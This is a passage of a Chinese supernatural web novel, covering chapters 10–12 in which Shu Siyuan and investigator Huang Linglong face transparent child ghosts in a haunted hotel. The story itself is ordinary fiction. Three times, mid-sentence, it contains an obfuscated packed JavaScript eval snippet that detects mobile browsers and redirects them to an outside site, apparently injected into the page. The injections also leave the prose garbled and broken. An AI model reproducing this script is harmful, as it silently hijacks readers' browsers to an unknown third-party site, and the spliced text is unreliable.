肉块夸张地捂住不存在的嘴巴:“唔……” 却是许久,外面的人也没有开门进来。 肉块气得吞下一条自己的胳膊。等它扭着身子朝莘曼走来时,走姿已与常人无异。 莘曼眼中流露出惊诧,那团肉空白的脸上,隐隐浮现她五官的轮廓。 它窃取她的脸,入侵她的记忆,妄图取代她。 它拥有了双臂,在她的记忆里读懂了“手”的含义。 它用手抱住冰柜,成型的眼睛用不着眨眼,目光宛如一条黏湿的舌头,一寸寸舔舐过莘曼的身体。 眼泪再一次夺眶而出,迅速凝结成冰,挂在眼皮上。她无力睁开,感觉自己要融化了…… 莘曼的意识在沉沦,肉块反倒获取了思考的能力。它从肚子里分裂出一团小型肉块,命令它去门口诱惑另一个人类。 小肉块听话地滑行过去,耐心地等着舒司鸢动作。 然而三扇门内接二连三的声响,使得舒司鸢难以作出判断。她和莘曼相识不过两个小时,完全不了解她。 犹豫的时间太长,倒让她误打误撞,进了真正的卫生间。 女厕内,舒司鸢匆匆几眼略过,跳读完纸上的规则。 莘曼不在这里。 没有去隔间找人的必要。她转过身子,不带一点迟疑地打开了门。 正确的房间,当然对应着正确的出口。 门刚开了条缝,一道绿色的身影率先扑过来,撞得她后退几步。 是莘曼,她的身体冰冷不已,沾着一股铁锈味和腥咸的气味,脑袋埋在她颈窝,抱着她一顿嚎啕。 门完全打开,舒司鸢一眼便看到前方抱臂倚墙而立的林组长——看来是他把莘曼带出来的。 林组长看了她们一眼,冷哼一声走了。 “呜呜呜呜呜哇——”莘曼张嘴干嚎两下,她的眼泪早就在仓库里流干净了,眼睫毛上还凝着几粒碎冰星子,眼睛下方是两条霜花。 “我听到你在外面叫我的名字了。”莘曼像只抱着树不撒手的树袋熊,仰头看她,“但是怪物变成了我的样子,还把我塞进冰柜里了。” “这个怪物之前只是一团肉块,后来居然慢慢变得特别像一个正常的人。” “你喊我的时候,听到的所有回应,都是它发出来的。” 舒司鸢了然。难怪,那些动静一下比一下具有欺骗性。 舒司鸢拍了拍莘曼的背,后者拭去眼角的冰花,心情稍稍平复:“我还以为你也被关进冰柜里了。” 她看着林组长离去的方向说:“但是那个人说你很快就会出来。” 舒司鸢问:“是他救了你吗?” “对啊,”莘曼说,“我本来还在害怕,结果一被丢出那扇门就被骂了个半死。现在什么情绪都没了。” 舒司鸢扶着她往外面走,宽慰道:“挨顿骂总比丢了命好。” 莘曼小鸡啄米式点头:“他还说分辨门的方法,在报告上都记录得清清楚楚,是个人就能看懂,问我来之前到底有没有认真看过。” “他说的报告是什么意思,小鸢你知道吗?” 舒司鸢摇头,表示自己不知情。她推开沉重的玻璃门,一下对上面色不虞的林组长。 他站在打开的意见箱前,手里拿着几张黄色便签纸,还有几张平放在桌上。 “顾客询问不存在的商品……这种常见情况的解决方法不是都在档案里写明白了?为什么还要回应?” “光是在一个顾客身上,你们都能一次性拿到七个差评?” “才开业两个小时,后面你们要怎么办?” 他难以置信地看看散落一桌的便签纸,又看看舒司鸢和莘曼。 说实话,拿满十次差评的新人他也见过几次。但是区区两个小时内,能整出这么多幺蛾子的,还是头一回见。 莘曼弱弱辩解:“是老板说要服务好顾客……” 他抹了抹额角:“许……老板说的话,你们也敢全听?” “我们是来兼职的,不听老板的还能听谁的?”舒司鸢反问道。林组长仿佛机关枪成精,她好不容易才插上一句话。 “……”林组长语气微妙,“什么兼职?晚上的?” 许弦白天会招附近的大学生过来兼职,这他是知道的。反正只有在晚上,便利店才会形成“域”,白天是无害的,大家也就随他去了,毕竟便利店是属于他的。 “他招人,付给我们薪水。”舒司鸢说,“就这样。” 莘曼也把和老板的聊天记录给他看。 林组长:“……” 原来是误入“域”中的普通人。 林组长哑火了。 几个组长都去外地赶任务,真叫这小子钻上空子了。 他举着手机,臭着脸出去打电话。 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272681|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司鸢和莘曼互相对视,两人还没说上话,林组长又进来了。 “跟你们老板说过了,今晚先暂停营业。”林组长说,“去把卡打了吧。不过还是要待在这里等到下班为止。工资照付。” “他接你的电话了?”莘曼再次重点偏移,“那他不回我的消息。” 她指的是问差评的事。 “……他就这样。”林组长道,“等明早来接班的同事吧。我走了。” 刚到门口,他又像想起什么似的折回来。“唰”地撕下一页便签纸,从口袋里抽出一支笔,俯身写下一串号码,嘱咐道:“早上接班要是有不对劲的地方,就联系我。” 之后果真再没有顾客进来。舒司鸢趁机向莘曼打听了不少这个世界的事。 “隔壁街就有一家宾馆,但是住宿条件一般。半年前发生了火灾,原先的老板去世了。她弟弟继承了宾馆,重新修建了一番,不知道现在会不会好一点。” 莘曼想了想道:“再过两个街道有一家还不错的电竞酒店,我更推荐那里。” 舒司鸢谢过了她。天亮之后,所幸来接班的同事并无异常,老板也准点把工资打了过来。她抱起猫,直奔莘曼口中的宾馆。 在此之前,她重新买了一个单肩包装芝麻——因为据她观察,比起被人抱着,它更愿意蜷在包里睡觉。 “小姑娘一个人啊。” 声音暗哑,说话的老板是个矮胖的中年男人,头顶稀疏。手边的烟灰缸堆满烟头,几撮烟灰落在桌面。 窗户只装了一扇,还很小,大门常年关闭,因此室内幽暗阴凉,浮动着满室臭烘烘的烟味。 “一天五十。”中年男人瞟她一眼,目光又被手机里的游戏吸引。 舒司鸢抽出一张一百的现金给他。 “自己挑个房间,钥匙在那。”中年男人没空收钱,头朝旁边甩了一下。 舒司鸢随意挑了一把,背着包上楼。 房间靠近走廊末尾,隔了一间尾房。长廊打扫得挺干净,墙重新漆过一遍,地板也翻修过。只是——她鼻尖翕动,总有股挥之不去的霉味。 她用钥匙开了锁。屋内像是许久没住过人的样子,床铺惨白,床头柜上摆着一台老式电话机。舒司鸢指尖蹭过窗前的书桌,浮灰抹黑她的指腹。 窗被打开,街上的人声与早点的香气一同涌入房中,阳光也照射进来。 浴室里有几块毛巾,被舒司鸢沾上水浸湿,用来擦了擦蒙尘的家具。 她掸了掸床,和衣躺在床面上,闭上眼睛。 过了一会儿,她问道:“你确定要睡在椅子上吗?” 芝麻侧躺在光亮却硌人的椅面上,甩了甩尾巴尖——舒司鸢刚擦完椅子,它就跳上去了。 在家里的时候,芝麻就除了猫窝哪也不睡。偶尔会上沙发趴一趴,但坚决不上她的床。 舒司鸢撑着最后一点力气,给这只领地意识超强的小猫垫上一层单肩包。随后往床上一倒,彻底睡晕过去。 …… 这一觉睡了很久,投进室内的阳光轮替成了月光。房间内一片黑沉。 忽然,一道红光规律地闪烁几下,照映在天花板上,变成一个巨大的红圈。 一阵舒缓的音乐继而响起。 电话在响。 舒司鸢半梦半醒本能地想要睁开眼睛,想醒却醒不过来,她浑身泛着股懒,意识再次滑向梦境深处。 好困…… “咔哒。” 话筒的位置偏到一旁,电话接通了。红光不再闪烁。 “嘻嘻……你快来看,这里有一只小猫……” “哇……看着好软……能不能摸摸呀……” “你试试……” “笨蛋!别再动了!” “她在听!” 10. 透明的房客2 “你要进来吗?”眼镜女生说道,手心一拢,推开了门。 舒司鸢不置可否,扶住门框边走进来。 女孩房间的布局和她的一样,不到二十平的空间。两个人其实能站开,却莫名给她一种十分拥挤的感觉。 眼镜女生为她拉开椅子,自己则坐在床边,察觉到舒司鸢探询的视线,白净的苹果脸上,苦涩地扯出一个难看的笑容。 “蜡烛的副作用。睡觉时点燃蜡烛,可以防止它们出现,但也会惹怒它们。” 她说话时细声细气,语气担忧:“你用了几根了?” “还没点。我才刚刚拿到。”舒司鸢顿了一下,继续道,“你的蜡烛也是外卖员送来的吗?” 女孩道:“差不多。我第一天来的时候,尝试烧过电话,发现它们怕火。后来做了几次实验,白烛的效果最好,就叫同事天天给我送,正好他也能确认我是否还活着。” “同事?”舒司鸢心里浮现诸多疑惑,忙抓住最关键的一点提问,“你们认识的话,你为什么不向他求救?” “在半开放的‘域’中,虽然允许与外界接触,但一旦透露相关信息,双方都会被即刻抹杀。” “而且接触也是有限制的,我一天只能见到我同事一次。而他无论给我送多少根蜡烛,我走进房间都会变成一根。” 舒司鸢恍然大悟道:“怪不得给我蜡烛的外卖员跑得那么快……” 眼镜女生惊讶地看过来:“这是半开放‘域’的必死点,必考的,每次都出的判断题。” 她不知联想了什么,发出小小的惊呼:“天呐,你连这点都没掌握,他们就敢让你出任务了?” “最近到底是有多缺人啊……” “我的情况应该不是你想的那样。”舒司鸢如实道,“我只是进来这里住两天。” 她兜比脸干净,压根住不起贵的酒店。再说,就算她有钱,没有身份证,还是住不了正规酒店。 “我还以为你是来支援我的,原来你不是调查员啊,”眼镜女生目露同情,“那等你从这里出去之后就是了。” “经历过‘域’并存活下来的人,会被其标记。往后终生都会触发‘域’,直至死亡。” 舒司鸢:“……” 没记错的话,她之所以逃亡到这个世界,就是为了躲避这种事吧? 等会她要用戒指再穿越一次! “我是黄铃珑,是隶属于‘棱镜’的调查员。”黄铃珑伸出手。她作自我介绍时一改纤弱的嗓音,变得严肃坚毅。 “舒司鸢。”舒司鸢和她单手相握。 黄铃珑松开她的手,又不好意思起来:“不过我也是第一次独立清除‘域’,只能尽力把你带出去。” “没关系。”舒司鸢道,“你们是怎么发现并清除‘域’的?” “如果某个地点短期内出现大量失踪人员,后勤部会前往事发地点进行初步勘察,确定危险等级后,就由紧急反应小组负责清除。” “‘域’分多种。有的只需寻找到出口就能破解,有的需要利用‘域’自身的规则来杀死它……清除之后,后勤部会使用某种特殊物质收容‘域’。无法清除的,就也用这种物质来围出禁区。” “清除次数越多的调查员,越会吸引等级高的‘域’来捕捉他们。” “但‘域’也不傻,不会傻等着被有经验的调查员清除。凡是入“域”,需完成一定前置条件,经‘域’审核通过后方可进入。” “像这家宾馆就属于危险等级较低的‘域’”,黄铃珑羞赧道,“因此组里只有我通过了。” “可是你很厉害啊,”舒司鸢真心实意道,“能找出蜡烛这种保护道具。” “……”黄铃珑欲言又止,最后还是闭上了嘴。 其实她是因为太害怕了,才会疯狂研究驱逐透明人的方法。 但她不能说,她承诺舒司鸢要把她带出去,怎么能露怯呢。 舒司鸢问道:“我听说这家宾馆前几个月发生过火灾,你觉得透明人与此有关吗?” “异常就是在重建之后出现的。”黄铃珑肯定道,“但是相关信息都被‘域’封锁了,我们无从得知。” 黄铃珑一脸忧愁:“只能靠自己探索了。” “你同事还送外卖,”舒司鸢换了个话题打听,“干这行赚得很少吗?” “他是在另一个‘域’里啦,那个‘域’发布的任务就是要他去给其他‘域’送外卖。还有送快递的调查员呢。” 黄铃珑为组织发声:“薪水很高的。” 舒司鸢露出满意的笑容。她从椅子上站起来,获得了足够多的信息,她要离开了。 临走前,她又想到什么,问道:“其他的房客怎么办?我看他们一点也不害怕,他们没发现自己出不去宾馆吗?” “来不及了。我上门看过,他们每人都或多或少透明化了。”黄铃珑叹着气,“我拉了一个大叔的电闸,送了根蜡烛过去,第二天他身体透明的部分仍旧变多了。” “后来我找理由看过他们的手机,发现只有没有透明化的人,外卖软件系统才会自动下单附赠蜡烛。” “第二个问题——”黄铃珑无奈道,“我也没找出答案。但据我的观察,他们除了吃饭,基本不出房门。” “啊,忘记告诉你了,还有一条规则。不过没什么危险性,就是一到晚上九点,无论身处何处,都会回到自己的房间,第二天早上五点才能出门。” 她将人送到门口,随着门缓缓合拢,她叮嘱道:“使用蜡烛有利有弊,小心用吧。” 舒司鸢关上了门,回到房间。 芝麻吃完了饭,这会儿正在舔毛。舒司鸢把塑料盒丢进垃圾桶,坐在床边整理思绪。 与黄铃珑的交谈,让她得以窥见这个世界的秘密。她有强烈的预感,不管人们如何努力,此世界终将重蹈怪诞世界的覆辙。 她将戒指放在手心,用厨房拿来的水果刀,划开一道伤口,鲜血汩汩涌出。戒指浸泡在血里,却毫无反应。 用过一次之后就不能再用了吗? 她沉吟着,简单包扎好伤口。芝麻跳下椅子,围着她转圈圈。 “没事。”她想摸摸芝麻的脑袋安抚它,猫却灵活地躲开了。 好吧。芝麻还是那只高冷的小猫。 舒司鸢丢了颗小球给它玩,自己琢磨那根蜡烛去了。 要不要点呢? 她很快就不纠结了——她自己可以熬上几夜不睡觉,但猫是倒头就睡的。 由于那条九点自动传送回房的奇葩规定,她本来还想着试试和黄铃珑拼上一晚,她俩轮流值班睡觉,现在也行不通了。 芝麻还在用爪子来回倒腾那颗黄色的球,舒司鸢打算等它要睡了再点蜡烛。 她掀开被子的一角,红色电话机沉默地放在床头柜上。被子复又遮盖上暂停作妖的电话机,她蓦然想到自己还有一支手机。 老板的姐姐,她曾经历过那场火灾,也葬身于此。 她遗留下来的手机里,会有关于火灾的线索吗? 事关性命,舒司鸢立刻抛弃那点道德感,往上一划解锁手机,点开相册搜寻。 照片和视频是按时间顺序排列的,按理来说她只需要翻看最上面就好了——然而那仅是一些自拍。 照片里的前老板长发盘起,只留一侧的刘海,娴静地垂在脸颊旁。 最新一张照片中,老板坐在宾馆前台,伸手将刘海撩在耳后,目光微微讶异又恬然,明显是他人抓拍。 拍摄时间显示是在半年前。舒司鸢便检索起她这半年来的聊天记录。 老板没什么朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289631|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半年来与她有线上联系的,拎出来一只手便能数完。 舒司鸢快速翻着几个聊天框。 和收租方与弟弟的转账记录,和被她资助的女孩的日常对话,和蔬菜批发老板与肉铺老板的砍价…… 都是些家常。她继续下滑,直到一个黑底红字的头像凭空出现——?。 字体猩红狰狞,锋利无比,仿佛要跃出屏幕,将每一个胆敢直视它的人生吞活剥。 舒司鸢忙用被子盖住头像。 时间停留在四月十七号。她的心砰砰直跳,一种难言的预感漫上心头。 她直觉,这就是火灾发生的日期。 点进聊天框,老板果然发出了几张照片,以及简单却充满不甘与怒意的两个字——“回家”。 其中三张照片均是在宾馆房间里拍的,画面中挨挨挤挤着好几个面容凹陷、穿着灰扑扑的衣衫的孩子,一双双眼睛格外得大,却不亮。 另外一张拍摄于楼梯拐角,而且很模糊,看上许久才能大致分辨出,那是一个中年妇女削瘦非常的背影。玫粉色的短袖中露出黑黄的手臂,身体似乎要转过来了。 ——这张是偷拍的。 她思索着,指尖往上滑动。老板与?的聊天记录只有短短一截。最上面一条消息是?主动发来的。 【编号N-15847,你已接入?。】 明明这个X和老板是在火灾当天才加上的好友,老板为什么单单将照片传给X? 心里浮上几个猜测,她却没有深思。当务之急是从‘域’里出去。 她放大照片,仔细分析起每一处细节。 三张照片加起来,一共出现了六个孩子,年龄在三岁至七八岁之间。 孩子们局促地站在房间中央,黝黑的小手攥着衣角,望向镜头的目光胆怯又机警。 孩子们表情警惕,但愿意配合老板拍照,中年妇女那张则是模糊的抓拍。 舒司鸢来回切换照片查看——拐卖吗? 会在她睡觉时相互打电话,会淘气地堵她的门,会想摸摸她的猫。 既然如此,房间中的透明人就是这些小孩了。 还是那个问题,她的房间中到底有几个透明小孩,老板和中年妇女又在哪个房间里? 除了这八个人之外,是否还存在同样没能逃出火灾的其他房客? 舒司鸢头脑风暴,列出来一箩筐的问题,却一个也回答不了。 她身子一歪,倒在床上,睁眼无神地瞧着天花板。 不行。 她一骨碌从床上弹起来。 一天中有三分之一的时间都被锁在房间里,太被动了。 舒司鸢打开录像,调整好角度架在床头柜上,确认能把自己和电话机都拍进去,又脱下外套给手机做一个遮挡。 做完这一切,她重新躺回床上,闭眼假寐。 一个多小时前刚睡完一觉,她清醒得很,干脆再演一波。 她刻意加重呼吸,胸膛规律地起伏。 小孩子嘛,做人做鬼都好骗。 房间里静了良久,只有她绵长的呼吸声,和小球在地板上滚动的声响。 舒司鸢装得有些怀疑人生,而且不知道是不是她太入戏,竟然真的生出一丝困意。 她即将沉入酣眠的前一秒,电话机倏地奏起一段钢琴声。 舒司鸢浑身一震,脑中一派清明。 见她动了,钢琴声戛然而止。 她翻了个身,咂咂嘴,装作睡熟的模样。 悦耳的乐声复起,飘扬进她耳里。音乐的调子舒缓,似乎是一首哄小孩的安睡曲。 不过对舒司鸢而言,更像是一首招魂曲。 好在曲子不具备迷晕人的效果。她屏息等待了一会儿,音乐放完,紧随“咔嗒”一声,电话自行接通。 11. 透明的房客3 “哇!” “……说这里有小猫……真的有呀……” “不要乱碰!把小猫吸收了……我们会长出毛毛……” “哼……”另一个声音不满地哼哼道,“摸不到……没睡着……” 舒司鸢出色地扮演着熟睡的丈夫,耳朵却是悄悄竖起,留神听两个小孩子间的对话,记在心底。 就是这台电话的信号也太差了点,她在心里吐槽,露在被子外的半截手臂却冷不防被一种温热的感觉包裹。 像是有人在她手臂上放了正在燃烧的蜡烛,融化的烛泪一滴一滴在皮肤上铺开,将其与床粘在一起。 “这次……吸收手……” 破碎的话语入耳,舒司鸢知道不能再等下去,另一只没有被束缚住的手当即闪电般伸出,一把箍住话筒,举到耳边。 ——“你们是谁?” 她厉声问道。 一声哇啦哇啦的大叫从电话那头传出来,又被“不许说话”的命令堵住了嘴。 随即她才看清,自己的床前,正直挺挺站着两条腿,只有她的胳膊那么粗,长着不少淤青,黢黑的脚尖冲着床。再往上看,却是什么都没有了。 那脚朝前一步,与此同时,她手中的话筒被一道无形的力量往电话那边拉扯——透明人想挂断电话! 幸好方才她伸手伸得太猛,力道还没卸干净。手里的话筒刚被拽出去一点,就被她拉了回来。 如她所料,通话仍在进行。 因此透明人还在和她抢夺话筒,见舒司鸢迟迟不放手,它整个身子都朝话筒压过来,咬牙使劲,生出一股要把话筒生生拦腰折断的气势。 它双手紧紧绞在话筒上,跟拔萝卜没什么两样。局势僵持,它啐了一口,心中暗暗诅咒对面这个寸步不让的人。 不过,这场拔河比赛对舒司鸢来说倒是很轻松。 对手力气不大,明显是个小孩子。更何况,话筒的大半部分都被她握在手里。 另外……舒司鸢扬起嘴角——她房间里只存在着一个透明人。 通话进行中,她和透明人处于可以相互触碰到的状态,而后者明明力气比她小太多,还在一心跟她抢话筒,简直犟得像头驴。 舒司鸢根据那双腿大致估算了一下透明人的身高,抄起枕头,对准面前的空气就是一抡。 “啊!” 空气爆发出一声呼嚎。话筒另一端的力量骤然消失。 舒司鸢没有就此作罢,趁着透明人还未反应过来,她如泼水般扬起被子,棉被顿时如同一张大网般拢下,盖住摔倒在地上的透明人。 然后她跨下床,坐在了透明人身上,把它压得严严实实。 透明人踢踢打打,嘴里不停骂她。舒司鸢坐得稳如泰山,她没有半分欺负小孩的羞愧感。反正被子一闷,她听不见。 “小朋友,你是哪个房间的?”透明人吃瘪,她心情舒畅,饶有兴趣地朝着电话那头问道。 对面的透明人没有答话,她也不介意,自顾自地问下去。 “就你一个吗?” “你房间里的人类是在睡觉吗?” 那头还是不理她,她用手指缠着电话线,低头凑近电话机,瞥到灰色屏幕上的房间号,笑道:“207,你想不想和小猫玩?” 她没有即刻得到反馈。过了一会儿,电话里才传出一个小心翼翼的尖细声音:“……可以吗?” 被子里的透明人听到了这句话,挣扎得更厉害。她不得不把话筒放到桌子上,打开免提,好用双手制服住透明人。 “要先回答我的问题。”舒司鸢避开正面回应。 “……好吧。房间里除了我,还有一个正在睡觉的叔叔。” “上一次你和哪个房间通话了,里面都有谁?” “203的哥哥。只有他一个。” 只有他一个? 舒司鸢皱了皱眉。据她目前所知的信息,房间中如果没人睡觉的话,透明人之间是无法通话的。 她将疑问问出了口:“为什么?” 对面又不说话了,好几分钟之后,它才别扭地说:“不告诉你。” 她果断换问题:“如果我让你进到我的房间里来,我可以看见你吗?” 那边沉默了一会儿,才小小声道:“腿,肚子,和手臂。” 然后它期期艾艾地问:“现在我能过来了吗?” “不行。”舒司鸢说完,干脆利落地挂断了电话。 电话机的红色亮光消失,她感到身下一空,整个人坐到地上。 但她确定透明人仍被困在被子里,只是通话一结束,她们彼此就恢复到了不可触碰的状态。 不过如此一来,她也等于那座囚住透明人的牢笼,自身也无法移动了。 舒司鸢倒没打算一直坐在这里压制透明人,反正被子挺有厚度,垫在身下软软的,她能多坐会就多坐会。 她调整了一下姿势,身体靠着床,闭上眼睛,整理从透明人那里得到的线索。 意识在杂乱的信息中浮沉,这期间她隐约听到过几次钢琴声,但电话一直没被接起,索性睡死过去。等她再度完全清醒过来,已是翌日清晨。 全身酸痛不已,舒司鸢缓了半个小时才起身。 她打了个哈欠,摸出手机看时间,还差几分钟到六点。 简单洗漱过后,她的房门被敲响。 透明人这次没再堵她的门,不知道是不是气得不愿意再和她有任何交流。 她打开门,黄铃珑顶着两个硕大的黑眼圈进来,面色憔悴,发丝散乱。 “你在我这儿睡一觉吧。”舒司鸢忍不住道。 黄铃珑一晚上未睡,此刻困得灵魂出窍,含混道:“两个小时后叫我。”随后昏迷般倒在桌子上,头埋进双臂之间。 两个小时她等得起,何况有黄铃珑加入,帮她一起寻找出口。 趁着这段时间,她还能吃个早饭。她拆了一袋面包,倒了点猫粮在包装袋里,拿到浴室去喂芝麻。 她擦亮火柴,点燃白烛,放到置物架上,拉上玻璃门。这样她出门时,芝麻就能安稳睡觉了。 舒司鸢刚消灭一个面包,正要吃第二个,黄铃珑忽然诈尸,她挺直脊背,转过身来,满含怨念道:“睡不着啊。” 舒司鸢略显吃惊:“你失眠这么严重?” 恕她冒昧,虽然黄铃珑此时看起来还坐在这里跟她说话,但她感觉对方已经魂飞天外了。 黄铃珑摇摇头:“不是,我感到好像是有谁在阻止我入睡。” “那应该就是那些透明的东西吧。”舒司鸢推测道,“它们只有在我们睡着时,才能通过触摸我们,从而让自身长出实体。你在我房间里睡觉,没睡的我随时可以挂断电话。” “那我一直不睡觉不会猝死吧,”黄铃珑悲愤道,“今晚我肯定熬不住了。” “早点找到出去的办法吧。”舒司鸢安慰她,把昨夜自己的遭遇详细告诉她。 黄铃珑的目光越来越震惊:“还能这样?!” 舒司鸢说:“我今晚用不了这个方法了,或许你还可以试试。” 黄铃珑昨晚一夜未眠,她房间中的透明人无法通话,也就无法从其他房间中的透明人得知自己做了什么。 “它一定会阻止你接电话,那样就会和你有接触,到时候你估计一下它在哪,不管是枕头还是椅子,总之能打赢它就好。” “你的意思是,我有可能看到一对腿……或者无头的躯干……”黄铃珑抖了起来。 “最好有吧?”舒司鸢迷惑地看向她,“这样不是好确认它在哪吗?” 可是只出现两条腿比纯透明更惊悚啊! 黄铃珑欲哭无泪,一想到大半夜会有双腿站在她床头,一边注视她一边接电话,她能当场原地去世。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296966|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事的,透明人没有攻击性。”舒司鸢掰了半块面包给她压压惊,“加油,只要努力一下,就能睡上觉了。” 香甜的奶油融化在舌尖,黄铃珑只尝出满嘴的苦涩。 她咽下一口面包:“所以我们待会去203吗?” “先去207看看吧,就在对面。”舒司鸢想了想。 206透明人的话固然让她很在意,不过既然她们有一整个白天的时间,不如和所有房客都打个招呼,确认一下他们的情况。 黄铃珑腾地站起,拍了拍脸让自己别再犯困,说道:“走吧!” 万一她们在门禁前就找到出口了,她就不必与透明人搏斗了。 舒司鸢收拾了掉垃圾,和黄铃珑出门。 207住的是光头大叔,舒司鸢记得昨天看到他时,他的身体已有一半透明化了。 为了不引起其他房客的注意,两人发出的响动不大。她们又敲又拍,却不见大叔来开门。 还在睡吗?还是出事了? 舒司鸢停下泛红的手:“去203吧。” 203在另一头,她们穿过走廊,站到203门前。 黄铃珑朝她做口型:“直接敲门吗?” 舒司鸢也回一句口型:“敲吧。”便抬手敲了敲门。 她寻思找个什么理由,房门却马上打开了。 小男孩露出被剪得只剩一茬黑发的脑袋,戒备道:“干嘛?” 舒司鸢心中警铃大作,她现在一看到小孩,就要把对方和透明人联系在一起。 她从黄铃珑眼中读出同样的警惕,后者蹲下身,与小男孩平视:“小朋友,你家大人呢?” 小男孩的眼珠灵活地转来转去:“他们出去了。” 说谎。 且不说宾馆大门根本就出不去,206透明人也说过,203里只有一个“哥哥”。 想到这里,舒司鸢短暂一怔,刹那明白过来。 这个小男孩,他的房间中没有睡梦中的人类,却可以与透明人通话。 换言之,他不再需要人类了。 他是完全实体化后的透明人。 然而眼前的小男孩却显然与常人无异,他天真又乖巧地逐一回答着黄铃珑的问题。 “姐姐,你们有什么事吗?”在回答完黄铃珑“家里都有谁”后,小男孩抓到她换气的空隙,反问道。 小男孩黑曜石般的眼睛反射着冷硬的光,清晰地倒映出二人的身影,嘴角咧起。 这目光太让人悚然,黄铃珑卡了壳,求助地看向舒司鸢。 “我们来借蜡烛,”舒司鸢把糊弄光头大叔的那一套说辞原封不动搬了过来,“你有吗?” 小男孩的脸色立刻变了:“没有!” 他“砰”地关上了门。 舒司鸢转过身,朝201走去,对还在愣神的黄铃珑道:“走吧,下一个。” 黄铃珑快步追上,舒司鸢已经敲开201的门。 来开门的是位穿着红色鱼尾长裙的女人,三十岁左右,气质很好,却身形枯瘦,脸色蜡黄,眼泡浮肿。 舒司鸢透过她,打量她身后的房间。地板上沾着好几滩干涸的颜料,堆满纸团和纸张,有一张白纸的角度正好,侧过来了一点。 她瞪大眼睛想看个究竟,女人察觉到她的视线,用瘦削的身体挡住她。 “有蜡烛吗?”舒司鸢依旧是那句借口。 她本以为不会得到回应,谁知女人失去血色的薄唇一瞬勾起弧度。 “蜡烛?”她喃喃地重复道。 女人眼神狂热地凝视着舒司鸢,笑容像怒放的向日葵,嘴角几乎高到与鼻子平齐,五官都有些抽搐。 “那是通往另一个世界的钥匙!”她话尾的语调兴奋得抬高到失真的地步。 她猛地凑近舒司鸢,语气一下变得鬼气森森:“无比美妙的世界……” 12. 透明的房客4 一张枯黄的锥子脸在眼前放大,那张嘴仿佛要吞下她。舒司鸢下意识推开女人,手背触碰到她柔软的腹部,她暗暗吃了一惊。 比棉花还要软。 鱼尾裙女人放任自己向后倒去,舒司鸢赶紧上前扶住她,架住她的胳膊。 待女人稳住身形站好,舒司鸢立刻甩开了她的手。 按理来说,这么瘦的人乍然摸上去,肯定摸到的是坚硬的骨头,可是鱼尾裙女人却像没有骨头似的,身体只由血肉填充。 手心还残留着那种诡异的触感,舒司鸢把手放到身后,用衣摆擦了擦。 “希望能与你们在那里相见。”女人吃吃笑道,眸光亮得惊人。她舔了舔嘴唇,身体一闪,拉上了门。 “她她她……这什么意思啊……”黄铃珑从鱼尾裙女人出来时就被吓到了,待她关上房门后又傻站了会,半天才找回自己的声音。 “不知道。”舒司鸢也在思考鱼尾裙女人那两句话的含义。 “她是、是那个吗?”黄铃珑挨到她身边,眼神止不住往201乱瞧。 “不太像。”舒司鸢慢吞吞道,“至少我觉得不是。” 她还能回忆起女人靠近她时,灼热的呼吸喷洒在她脸上的感觉,尽管她的身体软得诡异,舒司鸢认为她还尚且属于活人的范畴。 不过她再这么神经质下去,就不好说了。 黄铃珑还想说什么,舒司鸢先开口道:“回房间再说吧。” 小心隔墙有耳。 黄铃珑一下子想起了小男孩,连忙捂住嘴。 她们回房间前,又去敲了敲光头大叔的房门,仍旧没有得到回应。 “不会真出事了吧?”黄铃珑焦急道,“不是昨天才透明化到一半吗?” 确切来说是昨天晚上,距现在也才过去不到十二个小时。 而从她在透明人那里偷听到的对话来看,它们在一次通话中只能获得一个身体部分。光头大叔少说也还留着脑袋、躯干和上肢,起码三个晚上后才会彻底变透明。 “这样敲下去也不是个事,得去找老板拿钥匙。”舒司鸢道。 鉴于黄铃珑不敢和小男孩与鱼尾裙女人单独待在一条走廊上,便由她负责守在207门前,黄铃珑则下楼去叫老板。 黄铃珑跑下楼,把薄薄一层木板造就的台阶踩得直响。那声音慢慢远去,又渐渐响起来。 黄铃珑一口气不带停的冲到她面前,喘着粗气道:“老板说他已经退房了!” 舒司鸢猝然扭头看向207,这鬼地方哪来的退房一说? “我看到墙上207的钥匙都放回去了!” 她太过骇异,嗓门不自觉提高。舒司鸢拉着她回屋。 房门还没关严实,黄铃珑便迫不及待地分析道:“可我是一到六点就来找你的。之后咱俩没多久就出去了,一直待在走廊上。就算他是趁着我们在你房间里的时候出门的,我们应该也能听到一些声音啊?” “难道他房间里不止有一个透明人?”黄铃珑来回踱步,提出每一种可能,“还是说,透明人在一晚上里能打多次电话?” “把之前的老板和那个中年妇女也算上的话,加上六个还在,宾馆内一共有八个透明人。”舒司鸢说,“宾馆两层楼一共二十个房间,就算异常只在二楼出现,一个房间一个透明人也不够分的。” 